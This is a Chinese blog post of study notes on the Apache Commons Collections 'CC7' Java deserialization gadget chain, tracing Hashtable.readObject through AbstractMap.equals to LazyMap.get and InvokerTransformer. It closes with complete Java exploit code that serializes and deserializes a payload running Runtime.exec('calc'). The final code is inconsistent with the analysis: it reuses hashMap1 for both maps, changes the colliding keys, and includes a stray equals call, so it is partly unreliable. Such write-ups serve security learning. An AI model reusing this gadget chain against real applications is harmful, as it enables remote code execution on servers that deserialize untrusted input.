CC7

环境搭建

环境跟CC1一样: https://www.cnblogs.com/starme/p/18464845

大概链子:

image-20241014203722060

参考: https://www.bilibili.com/video/BV1NQ4y1q7EU?t=2.4

分析

这个也是从LazyMap.get开始的

CC7链子给的是java.util.AbstractMap类的equals方法,即AbstractMap.equals -> LazyMap.get
应该是指这两个地方:

public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map)) // 判断是否集成了接口Map
            return false;
        Map<?,?> m = (Map<?,?>) o; // 可能可以近似看成 m = o
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }

AbstractMap的构造函数:
空参构造
但是发现AbstractMap为abstract类型,无法实例化

Hashtable的readObject中,遇到hash碰撞时,通过调用一个对象的equals方法对比这两个对象判断是否是真的hash碰撞,这里的equals是AbstractMap里的equals方法

Hashtable的构造方法:

public Hashtable(int initialCapacity, float loadFactor)

也有空参构造方法

会传一个LazyMap进去,因为LazyMap没有equals,所以会找LazyMap的父类AbstractMapDecorator,由于AbstractMapDecorator没有equals,所以会找AbstractMap.equals,然后再调LazyMap.get

Hashtable hashtable = new Hashtable<>();

怎么将hashtable与LazyMap联系起来?
不联系起来的话就会导致:

这里elements为0,

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
    @SuppressWarnings("unchecked")
        K key = (K)s.readObject();
    @SuppressWarnings("unchecked")
        V value = (V)s.readObject();
    // synch could be eliminated for performance
    reconstitutionPut(table, key, value);
}

这个for循环用来读取所有的键值对对象,所以必须给hashtable赋值
怎么赋值?
不要忘了,hashtable实现了Map接口,所以可以通过put赋值

hashtable(lazymap,1);

这样赋值之后:

elements = 1
成功进入了reconstitutionPut方法中

来到这里:

int hash = key.hashCode(); // 获取哈希码
int index = (hash & 0x7FFFFFFF) % tab.length; // 计算键对象在哈希表中的索引位
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { // 用于遍历哈希表中特定索引位置的所有条目
    if ((e.hash == hash) && e.key.equals(key)) {    // 比较两个哈希码是否相同,也就是两个map的key的hashCode的结果是否相同 
        throw new java.io.StreamCorruptedException(); // 找到了与给定键相等的条目,就会抛出StreamCorruptedException异常
    }
}

有什么信息?
1.至少要put两次,否则不能进入for循环
2.必须要先满足e.hash == hash,然后才能进入e.key.equals

所以思路就是put两次,两个的key经hashCode处理后结果相同,第二个的value为LazyMap对象
这两个key为

"yy"
"zZ"

hashtable:

Hashtable hashtable = new Hashtable();// HashTable类有空参构造方法
hashtable.equals(lazyMap);
hashtable.put("yy",lazyMap);
hashtable.put("zZ",lazyMap);

先是"yy":

然后:

就变成"zZ"了:

此时的key = "zZ",而e.key = "yy":

导致了e.hash == hash:

究其原因可能是这个:

for (Entry<?,?> e = tab[index] ; e != null ; e = e.next)

e是当前遍历的条目,e.next是指向链表中下一个条目的引用

yy在开头,所以yy是当前遍历的条目,即e = hashtable这个map,map里面是yy
反正就这样了
e.hash== hash,所以到了e.key.equals(key)
其中的:

e.key = yy
key = zZ

进入equals:
来到String.equals:

据说这里是调用的LazyMap.equals方法,然后传了个map2
因为LazyMap里没有这个equals方法,所以他会去找父类AbstractMapDecorator
它的父类实现了equals方法:

完整代码

package org.example.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {

    public static void main(String[] args) throws IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {

        // chainedTransformer.transform -> InvokerTransformer.transform
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",null}), // 原来把transform(Runtime.class)省去了
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})

        }; // 省去了.transform这步,引入了ChainedTransformer
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);

        HashMap hashMap1 = new HashMap();
        HashMap hashMap2 = new HashMap();
        Map map1 = LazyMap.decorate(hashMap1,chainedTransformer);
        map1.put("1",1);
        Map map2 = LazyMap.decorate(hashMap1,chainedTransformer);
        map2.put("2",2);
        Hashtable hashtable = new Hashtable();
        hashtable.put(map1,1);
        hashtable.put(map2,2);
//        serialize(hashtable);
        unserialize("ser.bin");




    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}
posted @ 2024-10-14 20:39  starme  阅读(10)  评论(0编辑  收藏  举报